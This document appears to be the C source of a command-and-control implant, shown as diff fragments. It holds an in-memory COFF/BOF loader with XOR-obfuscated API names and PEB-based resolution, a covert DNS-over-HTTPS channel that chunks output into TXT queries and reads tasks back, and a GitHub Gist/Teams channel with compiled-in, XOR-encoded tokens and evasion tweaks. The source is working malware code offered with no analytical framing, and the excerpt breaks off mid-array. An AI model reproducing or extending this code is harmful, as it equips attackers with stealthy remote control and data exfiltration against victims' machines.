SecureZeroMemory(ns, sizeof(ns));
if (m)
fn = (_bNtPVM_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
if (!fn)
return FALSE;
PVOID base = addr;
SIZE_T rsz = sz;
ULONG _old = 0;
NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
if (old)
*old = (DWORD)_old;
return st == 0;
}
/* COFF structures */
#pragma pack(push, 1)
typedef struct
{
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} coff_hdr_t;
typedef struct
{
char Name[8];
DWORD VirtualSize;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLineNumbers;
WORD NumberOfRelocations;
WORD NumberOfLineNumbers;
DWORD Characteristics;
} coff_sec_t;
typedef struct
{
DWORD VirtualAddress;
DWORD SymbolTableIndex;
WORD Type;
} coff_reloc_t;
typedef struct
{
union
{
char Short[8];
struct
{
DWORD Zeros;
DWORD Offset;
} Long;
} Name;
DWORD Value;
SHORT SectionNumber;
WORD Type;
BYTE StorageClass;
BYTE NumberOfAuxSymbols;
} coff_sym_t;
#pragma pack(pop)
#define IMAGE_FILE_MACHINE_AMD64 0x8664
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
#define IMAGE_SCN_CNT_UNINIT_DATA 0x00000080
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32 0x0002
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
#define IMAGE_REL_AMD64_REL32 0x0004
#define IMAGE_REL_AMD64_REL32_1 0x0005
#define IMAGE_REL_AMD64_REL32_2 0x0006
#define IMAGE_REL_AMD64_REL32_3 0x0007
#define IMAGE_REL_AMD64_REL32_4 0x0008
#define IMAGE_REL_AMD64_REL32_5 0x0009
typedef struct
{
char *orig;
char *buf;
int len;
int sz;
} datap;
static char *g_out = NULL;
static size_t g_out_sz = 0;
static size_t g_out_off = 0;
static void _append(const char *s, size_t n)
{
if (!g_out)
return;
size_t av = g_out_sz - g_out_off - 1;
if (n > av)
n = av;
memcpy(g_out + g_out_off, s, n);
g_out_off += n;
g_out[g_out_off] = '\0';
}
static void __cdecl _bp_printf(int t, const char *fmt, ...)
{
(void)t;
char tmp[8192];
va_list va;
va_start(va, fmt);
int n = vsnprintf(tmp, sizeof(tmp) - 1, fmt, va);
va_end(va);
if (n > 0)
_append(tmp, (size_t)n);
}
static void __cdecl _bp_output(int t, const char *data, int len)
{
(void)t;
if (len > 0)
_append(data, (size_t)len);
}
static int __cdecl _bp_is_admin(void)
{
HANDLE tok;
TOKEN_ELEVATION e = {0};
DWORD rl;
if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok))
return 0;
GetTokenInformation(tok, TokenElevation, &e, sizeof(e), &rl);
CloseHandle(tok);
return (int)e.TokenIsElevated;
}
static void __cdecl _bp_data_parse(datap *p, char *buf, int sz)
{
if (p)
{
p->orig = buf;
p->buf = buf;
p->len = sz;
p->sz = sz;
}
}
static char *__cdecl _bp_data_extract(datap *p, int *out_len)
{
if (!p || p->len < 4)
return NULL;
int n = *(int *)p->buf;
p->buf += 4;
p->len -= 4;
if (n > p->len)
n = p->len;
char *r = p->buf;
p->buf += n;
p->len -= n;
if (out_len)
*out_len = n;
return r;
}
static int __cdecl _bp_data_int(datap *p)
{
if (!p || p->len < 4)
return 0;
int v = *(int *)p->buf;
p->buf += 4;
p->len -= 4;
return v;
}
static short __cdecl _bp_data_short(datap *p)
{
if (!p || p->len < 2)
return 0;
short v = *(short *)p->buf;
p->buf += 2;
p->len -= 2;
return v;
}
static int __cdecl _bp_data_len(datap *p) { return p ? p->len : 0; }
typedef struct
{
const unsigned char *enc;
size_t n;
void *ptr;
} api_entry_t;
static const api_entry_t k_api[] = {
{EVS_str_BeaconPrintf, sizeof(EVS_str_BeaconPrintf), (void *)_bp_printf},
{EVS_str_BeaconOutput, sizeof(EVS_str_BeaconOutput), (void *)_bp_output},
{EVS_str_BeaconIsAdmin, sizeof(EVS_str_BeaconIsAdmin), (void *)_bp_is_admin},
{EVS_str_BeaconDataParse, sizeof(EVS_str_BeaconDataParse), (void *)_bp_data_parse},
{EVS_str_BeaconDataExtract, sizeof(EVS_str_BeaconDataExtract), (void *)_bp_data_extract},
{EVS_str_BeaconDataInt, sizeof(EVS_str_BeaconDataInt), (void *)_bp_data_int},
{EVS_str_BeaconDataShort, sizeof(EVS_str_BeaconDataShort), (void *)_bp_data_short},
{EVS_str_BeaconDataLength, sizeof(EVS_str_BeaconDataLength), (void *)_bp_data_len},
{NULL, 0, NULL}};
static void _sym_name(const coff_sym_t *sym, const char *strtab, char *out, size_t outsz)
{
if (sym->Name.Long.Zeros == 0)
strncpy(out, strtab + sym->Name.Long.Offset, outsz - 1);
else
{
size_t n = strnlen(sym->Name.Short, 8);
if (n >= outsz)
n = outsz - 1;
memcpy(out, sym->Name.Short, n);
out[n] = '\0';
}
}
static void *_resolve_win32(const char *fn, const char *dll_hint)
{
for (int i = 0; k_api[i].enc; i++)
{
char name[20];
volatile unsigned char _k = EVS_KEY;
for (size_t j = 0; j < k_api[i].n; j++)
name[j] = (char)(k_api[i].enc[j] ^ _k);
name[k_api[i].n] = '\0';
int match = (strcmp(fn, name) == 0);
SecureZeroMemory(name, sizeof(name));
if (match)
return k_api[i].ptr;
}
HMODULE hm = NULL;
if (dll_hint && dll_hint[0])
{
hm = _peb_module(dll_hint);
if (!hm)
hm = LoadLibraryA(dll_hint);
}
else
{
static const char *tries[] = {
"kernel32.dll", "ntdll.dll", "advapi32.dll",
"user32.dll", "ws2_32.dll", "ole32.dll", "shell32.dll", NULL};
for (int i = 0; tries[i]; i++)
{
hm = _peb_module(tries[i]);
if (hm && GetProcAddress(hm, fn))
break;
hm = NULL;
}
}
return hm ? (void *)GetProcAddress(hm, fn) : NULL;
}
static int _parse_sym(const char *name, char *dll, size_t dll_sz,
char *fn, size_t fn_sz)
{
int is_imp = (strncmp(name, "__imp_", 6) == 0);
const char *p = is_imp ? name + 6 : name;
/* check for Beacon* prefix */
{
volatile unsigned char _k = EVS_KEY;
if (strlen(p) >= sizeof(EVS_str_Beacon) &&
(unsigned char)p[0] == (unsigned char)(EVS_str_Beacon[0] ^ _k) &&
(unsigned char)p[1] == (unsigned char)(EVS_str_Beacon[1] ^ _k) &&
(unsigned char)p[2] == (unsigned char)(EVS_str_Beacon[2] ^ _k) &&
(unsigned char)p[3] == (unsigned char)(EVS_str_Beacon[3] ^ _k) &&
(unsigned char)p[4] == (unsigned char)(EVS_str_Beacon[4] ^ _k) &&
(unsigned char)p[5] == (unsigned char)(EVS_str_Beacon[5] ^ _k))
{
strncpy(fn, p, fn_sz - 1);
dll[0] = '\0';
return is_imp;
}
}
const char *d = strchr(p, '$');
if (d)
{
size_t dl = (size_t)(d - p);
if (dl >= dll_sz - 5)
dl = dll_sz - 6;
memcpy(dll, p, dl);
dll[dl] = '\0';
/* lowercase and append .dll if missing */
for (size_t i = 0; i < dl; i++)
dll[i] = (char)tolower((unsigned char)dll[i]);
if (!strstr(dll, "."))
strncat(dll, ".dll", dll_sz - strlen(dll) - 1);
strncpy(fn, d + 1, fn_sz - 1);
}
else
{
dll[0] = '\0';
strncpy(fn, p, fn_sz - 1);
}
return is_imp;
}
#define THUNK_PTR_SZ 8 /* function pointer */
#define THUNK_JMP_SZ 14 /* FF 25 00 00 00 00 + 8-byte addr */
typedef struct
{
BYTE *ptr; /* RW: 8-byte fn pointer */
BYTE *jmp; /* RX: 14-byte jmp trampoline */
} thunk_pair_t;
static BYTE *g_thunk_block = NULL;
static DWORD g_thunk_count = 0;
static int _build_thunks(const coff_hdr_t *hdr, const coff_sym_t *symtab,
const char *strtab, thunk_pair_t *pairs)
{
DWORD ext = 0;
for (DWORD si = 0; si < hdr->NumberOfSymbols;
si += 1 + symtab[si].NumberOfAuxSymbols)
{
const coff_sym_t *sym = symtab + si;
if (sym->SectionNumber == 0 && sym->StorageClass == 2)
ext++;
}
if (!ext)
return 1;
g_thunk_count = ext;
DWORD ptr_block = ext * THUNK_PTR_SZ;
DWORD jmp_block = ext * THUNK_JMP_SZ;
DWORD total = ptr_block + jmp_block + 64; /* tiny padding */
g_thunk_block = (BYTE *)VirtualAlloc(NULL, total,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!g_thunk_block)
return 0;
BYTE *ptr_base = g_thunk_block;
BYTE *jmp_base = g_thunk_block + ptr_block;
DWORD idx = 0;
for (DWORD si = 0; si < hdr->NumberOfSymbols;
si += 1 + symtab[si].NumberOfAuxSymbols)
{
const coff_sym_t *sym = symtab + si;
if (sym->SectionNumber != 0 || sym->StorageClass != 2)
continue;
char sname[512] = {0};
_sym_name(sym, strtab, sname, sizeof(sname));
char dll[64] = {0}, fn[256] = {0};
_parse_sym(sname, dll, sizeof(dll), fn, sizeof(fn));
void *target = _resolve_win32(fn, dll[0] ? dll : NULL);
BYTE *pt = ptr_base + idx * THUNK_PTR_SZ;
*(void **)pt = target;
BYTE *jt = jmp_base + idx * THUNK_JMP_SZ;
jt[0] = 0xFF;
jt[1] = 0x25;
jt[2] = 0;
jt[3] = 0;
jt[4] = 0;
jt[5] = 0;
*(void **)(jt + 6) = target;
pairs[si] = (thunk_pair_t){pt, jt};
idx++;
}
DWORD old;
_vp(jmp_base, jmp_block, PAGE_EXECUTE_READ, &old);
return 1;
}
int cmd_bof(const char *coff_b64, const char *args_b64,
char *output_buf, size_t output_sz)
{
if (!coff_b64 || !output_buf || !output_sz)
return -1;
output_buf[0] = '\0';
size_t coff_sz = 0;
uint8_t *coff = base64_decode(coff_b64, &coff_sz);
if (!coff || coff_sz < sizeof(coff_hdr_t))
{
snprintf(output_buf, output_sz, "[bof] b64 decode fail\n");
if (coff)
free(coff);
return -1;
}
char *args = NULL;
int args_len = 0;
if (args_b64 && args_b64[0])
{
size_t alen = 0;
args = (char *)base64_decode(args_b64, &alen);
args_len = (int)alen;
}
(void)args_len;
const coff_hdr_t *hdr = (const coff_hdr_t *)coff;
if (hdr->Machine != IMAGE_FILE_MACHINE_AMD64)
{
snprintf(output_buf, output_sz,
"[bof] not x64 COFF (machine=0x%04X)\n", hdr->Machine);
free(coff);
if (args)
free(args);
return -1;
}
const coff_sec_t *secs = (const coff_sec_t *)(coff + sizeof(coff_hdr_t));
const coff_sym_t *symtab = (const coff_sym_t *)(coff + hdr->PointerToSymbolTable);
const char *strtab = (const char *)(symtab + hdr->NumberOfSymbols);
WORD nsec = hdr->NumberOfSections;
BYTE **mapped = (BYTE **)calloc(nsec, sizeof(BYTE *));
thunk_pair_t *pairs = (thunk_pair_t *)calloc(
hdr->NumberOfSymbols ? hdr->NumberOfSymbols : 1, sizeof(thunk_pair_t));
if (!mapped || !pairs)
goto fail;
for (WORD i = 0; i < nsec; i++)
{
DWORD sz = secs[i].SizeOfRawData;
DWORD vsz = secs[i].VirtualSize ? secs[i].VirtualSize : sz;
if (!sz && !vsz)
continue;
DWORD alloc_sz = (sz > vsz ? sz : vsz) + 16;
mapped[i] = (BYTE *)VirtualAlloc(NULL, alloc_sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mapped[i])
{
snprintf(output_buf, output_sz, "[bof] alloc fail sec %d\n", i);
goto fail;
}
if (sz && secs[i].PointerToRawData)
memcpy(mapped[i], coff + secs[i].PointerToRawData, sz);
/* BSS (uninit data) stays zeroed from VirtualAlloc */
}
if (!_build_thunks(hdr, symtab, strtab, pairs))
{
snprintf(output_buf, output_sz, "[bof] thunk alloc fail\n");
goto fail;
}
for (WORD i = 0; i < nsec; i++)
{
if (!mapped[i] || !secs[i].NumberOfRelocations)
continue;
const coff_reloc_t *relocs =
(const coff_reloc_t *)(coff + secs[i].PointerToRelocations);
for (WORD ri = 0; ri < secs[i].NumberOfRelocations; ri++)
{
DWORD sym_idx = relocs[ri].SymbolTableIndex;
WORD type = relocs[ri].Type;
BYTE *site = mapped[i] + relocs[ri].VirtualAddress;
if (sym_idx >= hdr->NumberOfSymbols)
continue;
const coff_sym_t *sym = symtab + sym_idx;
BYTE *target = NULL;
int is_ext = (sym->SectionNumber == 0 && sym->StorageClass == 2);
if (!is_ext && sym->SectionNumber > 0 && sym->SectionNumber <= nsec)
{
int si2 = sym->SectionNumber - 1;
if (mapped[si2])
target = mapped[si2] + sym->Value;
}
switch (type)
{
case IMAGE_REL_AMD64_ADDR64:
if (is_ext && pairs[sym_idx].ptr)
*(DWORD64 *)site = (DWORD64)(uintptr_t)pairs[sym_idx].ptr;
else if (target)
*(DWORD64 *)site += (DWORD64)(uintptr_t)target;
break;
case IMAGE_REL_AMD64_ADDR32:
if (target)
*(DWORD *)site += (DWORD)(uintptr_t)target;
break;
case IMAGE_REL_AMD64_ADDR32NB:
if (target)
*(DWORD *)site += (DWORD)((uintptr_t)target - (uintptr_t)_peb_self_base());
break;
case IMAGE_REL_AMD64_REL32:
case IMAGE_REL_AMD64_REL32_1:
case IMAGE_REL_AMD64_REL32_2:
case IMAGE_REL_AMD64_REL32_3:
case IMAGE_REL_AMD64_REL32_4:
case IMAGE_REL_AMD64_REL32_5:
{
DWORD addend = type - IMAGE_REL_AMD64_REL32;
BYTE *dest = NULL;
if (is_ext)
{
/* for __imp_ use ptr thunk, for direct refs use jmp thunk */
char sname[512] = {0};
_sym_name(sym, strtab, sname, sizeof(sname));
int is_imp = (strncmp(sname, "__imp_", 6) == 0);
dest = is_imp ? pairs[sym_idx].ptr : pairs[sym_idx].jmp;
}
else
{
dest = target;
}
if (dest)
{
// internal section refs carry the section offset as existing site value
DWORD sec_addend = is_ext ? 0 : *(DWORD *)site;
*(DWORD *)site = (DWORD)((uintptr_t)dest + sec_addend
- ((uintptr_t)site + 4 + addend));
}
break;
}
default:
break;
}
}
}
for (WORD i = 0; i < nsec; i++)
{
if (!mapped[i])
continue;
if (secs[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
DWORD old;
DWORD sz = secs[i].SizeOfRawData ? secs[i].SizeOfRawData
: secs[i].VirtualSize;
_vp(mapped[i], sz + 16, PAGE_EXECUTE_READ, &old);
}
}
typedef void(__cdecl * go_fn_t)(char *, int);
go_fn_t go_fn = NULL;
for (DWORD si = 0; si < hdr->NumberOfSymbols && !go_fn;
si += 1 + symtab[si].NumberOfAuxSymbols)
{
const coff_sym_t *sym = symtab + si;
if (sym->SectionNumber <= 0)
continue;
char sname[512] = {0};
_sym_name(sym, strtab, sname, sizeof(sname));
if (strcmp(sname, "go") == 0)
{
int sec_idx = sym->SectionNumber - 1;
if (sec_idx < nsec && mapped[sec_idx])
go_fn = (go_fn_t)(void *)(mapped[sec_idx] + sym->Value);
}
}
if (!go_fn)
{
snprintf(output_buf, output_sz, "[bof] 'go' not found\n");
goto fail;
}
g_out = output_buf;
g_out_sz = output_sz;
g_out_off = 0;
#ifdef _MSC_VER
__try
{
go_fn(args, args_len);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
size_t av = output_sz - g_out_off - 1;
if (av > 0)
{
char err[64];
int n = snprintf(err, sizeof(err),
"[bof] exception 0x%08lX\n",
(unsigned long)GetExceptionCode());
if (n > 0)
_append(err, (size_t)n);
}
}
#else
go_fn(args, args_len);
#endif
g_out = NULL;
fail:
if (mapped)
{
for (WORD i = 0; i < nsec; i++)
if (mapped[i])
VirtualFree(mapped[i], 0, MEM_RELEASE);
free(mapped);
}
if (g_thunk_block)
{
VirtualFree(g_thunk_block, 0, MEM_RELEASE);
g_thunk_block = NULL;
g_thunk_count = 0;
}
if (pairs)
free(pairs);
if (args)
free(args);
if (coff)
free(coff);
return 0;
}
+213
View File
@@ -0,0 +1,213 @@
#include "channels.h"
#include "util.h"
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef CURLSSLOPT_NATIVE_CA
#define CURLSSLOPT_NATIVE_CA (1<<4)
#endif
/* accumulates HTTP response data */
typedef struct {
char *data;
size_t len;
} curl_buf_t;
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
curl_buf_t *buf = (curl_buf_t *)userdata;
size_t nb = size * nmemb;
char *tmp = realloc(buf->data, buf->len + nb + 1);
if (!tmp) return 0;
buf->data = tmp;
memcpy(buf->data + buf->len, ptr, nb);
buf->len += nb;
buf->data[buf->len] = '\0';
return nb;
}
/* send a DoH TXT query, return raw JSON response */
static char *doh_query_txt(const char *doh_server, const char *fqdn)
{
char url[512];
snprintf(url, sizeof(url), "%s?name=%s&type=TXT", doh_server, fqdn);
CURL *curl = curl_easy_init();
if (!curl) return NULL;
curl_buf_t resp = {0};
char ua_hdr[320];
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
struct curl_slist *hdrs = NULL;
hdrs = curl_slist_append(hdrs, "Accept: application/dns-json");
hdrs = curl_slist_append(hdrs, ua_hdr);
curl_apply_opsec(curl);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 15L);
CURLcode res = curl_easy_perform(curl);
long code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
curl_slist_free_all(hdrs);
curl_easy_cleanup(curl);
if (res != CURLE_OK || code != 200) {
free(resp.data);
return NULL;
}
return resp.data;
}
static char *doh_extract_txt(const char *response)
{
/* Find first "type":16 entry */
const char *p = response;
while ((p = strstr(p, "\"type\":16")) != NULL) {
const char *d = strstr(p, "\"data\"");
if (!d) break;
d += strlen("\"data\"");
while (*d == ' ' || *d == ':') d++;
if (*d != '"') { p++; continue; }
d++;
/* TXT data may be wrapped in extra quotes: "\"value\"" */
if (*d == '\\' && *(d+1) == '"') d += 2;
size_t i = 0, cap = 2048;
char *out = malloc(cap);
if (!out) return NULL;
while (*d && *d != '"') {
if (*d == '\\' && *(d+1) == '"') { /* closing escaped quote */ break; }
if (i + 2 >= cap) {
cap *= 2;
char *tmp = realloc(out, cap);
if (!tmp) { free(out); return NULL; }
out = tmp;
}
out[i++] = *d++;
}
out[i] = '\0';
if (i == 0) { free(out); p++; continue; }
return out;
}
return NULL;
}
/* base32 encoding for valid DNS labels */
static const char B32_ALPHABET[] = "abcdefghijklmnopqrstuvwxyz234567";
static size_t b32_encode(const uint8_t *in, size_t in_len, char *out)
{
size_t i = 0, j = 0;
uint32_t acc = 0;
int bits = 0;
for (i = 0; i < in_len; i++) {
acc = (acc << 8) | in[i];
bits += 8;
while (bits >= 5) {
bits -= 5;
out[j++] = B32_ALPHABET[(acc >> bits) & 0x1F];
}
}
if (bits > 0)
out[j++] = B32_ALPHABET[(acc << (5 - bits)) & 0x1F];
out[j] = '\0';
return j;
}
/* derive send/recv labels from the first/last 4 chars of agent_id */
static void doh_get_labels(const char *agent_id, char *send_lbl, char *recv_lbl)
{
send_lbl[0] = agent_id[0]; send_lbl[1] = agent_id[1];
send_lbl[2] = agent_id[2]; send_lbl[3] = agent_id[3];
send_lbl[4] = '\0';
recv_lbl[0] = agent_id[4]; recv_lbl[1] = agent_id[5];
recv_lbl[2] = agent_id[6]; recv_lbl[3] = agent_id[7];
recv_lbl[4] = '\0';
}
/* split b64 payload into DNS TXT queries */
#define DOH_CHUNK_BYTES 30
int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (!cfg->doh_domain[0]) return CHANNEL_ERR;
char send_lbl[8], recv_lbl[8];
doh_get_labels(agent_id, send_lbl, recv_lbl);
size_t b64_len = strlen(b64);
size_t offset = 0;
int seq = 0;
int ok = 1;
while (offset < b64_len) {
size_t chunk = b64_len - offset;
if (chunk > DOH_CHUNK_BYTES) chunk = DOH_CHUNK_BYTES;
char b32_label[64];
b32_encode((const uint8_t *)b64 + offset, chunk, b32_label);
char fqdn[256];
snprintf(fqdn, sizeof(fqdn), "%s.%02d.%s.%s.%s",
b32_label, seq, send_lbl, agent_id, cfg->doh_domain);
char *resp = doh_query_txt(cfg->doh_server, fqdn);
if (resp) free(resp);
else { ok = 0; }
offset += chunk;
seq++;
}
/* end-of-stream marker */
char fqdn_done[256];
snprintf(fqdn_done, sizeof(fqdn_done), "%s.%02d.%s.%s.%s",
send_lbl, seq, send_lbl, agent_id, cfg->doh_domain);
char *resp = doh_query_txt(cfg->doh_server, fqdn_done);
if (resp) free(resp);
return ok ? CHANNEL_OK : CHANNEL_RETRY;
}
/* fetch pending task from a TXT DNS record */
char *doh_recv(const channel_config_t *cfg, const char *agent_id)
{
if (!cfg->doh_domain[0]) return NULL;
char send_lbl[8], recv_lbl[8];
doh_get_labels(agent_id, send_lbl, recv_lbl);
char fqdn[256];
snprintf(fqdn, sizeof(fqdn), "%s.%s.%s", recv_lbl, agent_id, cfg->doh_domain);
char *resp = doh_query_txt(cfg->doh_server, fqdn);
if (!resp) return NULL;
char *txt = doh_extract_txt(resp);
free(resp);
/* Empty or "null" = no pending task */
if (txt && (txt[0] == '\0' || strcmp(txt, "null") == 0)) {
free(txt);
return NULL;
}
return txt;
}
+301
View File
@@ -0,0 +1,301 @@
#include "channels.h"
#include "agent_config.h"
#include "crypto.h"
#include "util.h"
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef CURLSSLOPT_NATIVE_CA
#define CURLSSLOPT_NATIVE_CA (1<<4)
#endif
/* decode a XOR-obfuscated config value */
static void cfg_decode(const unsigned char *src, size_t len, char *dst)
{
for (size_t i = 0; i < len; i++)
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
dst[len] = '\0';
}
/* accumulates HTTP response data */
typedef struct {
char *data;
size_t len;
} curl_buf_t;
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
curl_buf_t *buf = (curl_buf_t *)userdata;
size_t new_bytes = size * nmemb;
char *tmp = realloc(buf->data, buf->len + new_bytes + 1);
if (!tmp) return 0;
buf->data = tmp;
memcpy(buf->data + buf->len, ptr, new_bytes);
buf->len += new_bytes;
buf->data[buf->len] = '\0';
return new_bytes;
}
/* HTTPS request to the GitHub API, GET or PATCH */
typedef enum { HTTP_GET, HTTP_PATCH } http_method_t;
static char *github_request(const char *token, const char *url,
http_method_t method, const char *body_json)
{
CURL *curl = curl_easy_init();
if (!curl) return NULL;
curl_buf_t resp = {0};
struct curl_slist *hdrs = NULL;
char auth_hdr[320];
char ua_hdr[320];
snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: token %s", token);
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
hdrs = curl_slist_append(hdrs, auth_hdr);
hdrs = curl_slist_append(hdrs, "Accept: application/vnd.github+json");
hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
hdrs = curl_slist_append(hdrs, ua_hdr);
hdrs = curl_slist_append(hdrs, "X-GitHub-Api-Version: 2022-11-28");
curl_apply_opsec(curl);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
if (method == HTTP_PATCH) {
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "PATCH");
if (body_json) {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
}
}
CURLcode res = curl_easy_perform(curl);
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
curl_slist_free_all(hdrs);
curl_easy_cleanup(curl);
if (res != CURLE_OK || (http_code < 200 || http_code >= 300)) {
free(resp.data);
return NULL;
}
return resp.data;
}
/* extract the "content" field for filename from a gist JSON response */
static char *gist_extract_content(const char *response, const char *filename)
{
char needle[128];
snprintf(needle, sizeof(needle), "\"%s\"", filename);
const char *p = strstr(response, needle);
if (!p) return NULL;
/* find content field after the filename key */
p = strstr(p, "\"content\"");
if (!p) return NULL;
p += strlen("\"content\"");
while (*p == ' ' || *p == ':' || *p == ' ') p++;
if (*p != '"') return NULL;
p++;
/* read until closing quote */
size_t cap = 1024, len = 0;
char *out = malloc(cap);
if (!out) return NULL;
while (*p && *p != '"') {
if (len + 4 >= cap) {
cap *= 2;
char *tmp = realloc(out, cap);
if (!tmp) { free(out); return NULL; }
out = tmp;
}
if (*p == '\\' && *(p+1)) {
p++; /* skip backslash */
switch (*p) {
case 'n': out[len++] = '\n'; break;
case 'r': out[len++] = '\r'; break;
case 't': out[len++] = '\t'; break;
default: out[len++] = *p; break;
}
} else {
out[len++] = *p;
}
p++;
}
out[len] = '\0';
/* nothing to return */
if (len == 0 || strcmp(out, "null") == 0) {
free(out);
return NULL;
}
return out;
}
/* init config: compiled XOR values first, then env var overrides */
void channel_config_init(channel_config_t *cfg)
{
memset(cfg, 0, sizeof(*cfg));
/* decode compiled-in values */
if (CFG_GITHUB_TOKEN_LEN)
cfg_decode(CFG_GITHUB_TOKEN, CFG_GITHUB_TOKEN_LEN, cfg->github_token);
if (CFG_GIST_CMD_ID_LEN)
cfg_decode(CFG_GIST_CMD_ID, CFG_GIST_CMD_ID_LEN, cfg->gist_cmd_id);
if (CFG_GIST_OUT_ID_LEN)
cfg_decode(CFG_GIST_OUT_ID, CFG_GIST_OUT_ID_LEN, cfg->gist_out_id);
if (CFG_TEAMS_TENANT_LEN)
cfg_decode(CFG_TEAMS_TENANT, CFG_TEAMS_TENANT_LEN, cfg->teams_tenant_id);
if (CFG_TEAMS_CLIENT_LEN)
cfg_decode(CFG_TEAMS_CLIENT, CFG_TEAMS_CLIENT_LEN, cfg->teams_client_id);
if (CFG_TEAMS_SECRET_LEN)
cfg_decode(CFG_TEAMS_SECRET, CFG_TEAMS_SECRET_LEN, cfg->teams_client_secret);
if (CFG_TEAMS_WEBHOOK_LEN)
cfg_decode(CFG_TEAMS_WEBHOOK, CFG_TEAMS_WEBHOOK_LEN, cfg->teams_webhook_url);
if (CFG_TEAMS_TEAM_ID_LEN)
cfg_decode(CFG_TEAMS_TEAM_ID, CFG_TEAMS_TEAM_ID_LEN, cfg->teams_team_id);
if (CFG_TEAMS_CHANNEL_LEN)
cfg_decode(CFG_TEAMS_CHANNEL, CFG_TEAMS_CHANNEL_LEN, cfg->teams_channel_id);
if (CFG_BEACON_URL_LEN)
cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
if (CFG_DOH_DOMAIN_LEN)
cfg_decode(CFG_DOH_DOMAIN, CFG_DOH_DOMAIN_LEN, cfg->doh_domain);
#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
#endif
#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
#endif
strncpy(cfg->doh_server,
"https://cloudflare-dns.com/dns-query",
sizeof(cfg->doh_server) - 1);
/* env var overrides for dev/test — names are XOR'd to avoid plaintext strings */
#define ENV_XOR 0xa5
/* XOR-encoded env var names */
static const unsigned char k_env_gh_token[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf1,0xed,0xf0,0xe7,0xfa,0xf1,0xea,0xee,0xe0,0xeb};
static const unsigned char k_env_gist_cmd[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xe6,0xe8,0xe1};
static const unsigned char k_env_gist_out[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xea,0xf0,0xf1};
static const unsigned char k_env_teams_tenant[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xeb,0xe4,0xeb,0xf1};
static const unsigned char k_env_teams_client[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xe9,0xec,0xe0,0xeb,0xf1};
static const unsigned char k_env_teams_secret[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf6,0xe0,0xe6,0xf7,0xe0,0xf1};
static const unsigned char k_env_teams_wh[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf2,0xe0,0xe7,0xed,0xea,0xea,0xee};
static const unsigned char k_env_teams_team[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xe4,0xe8};
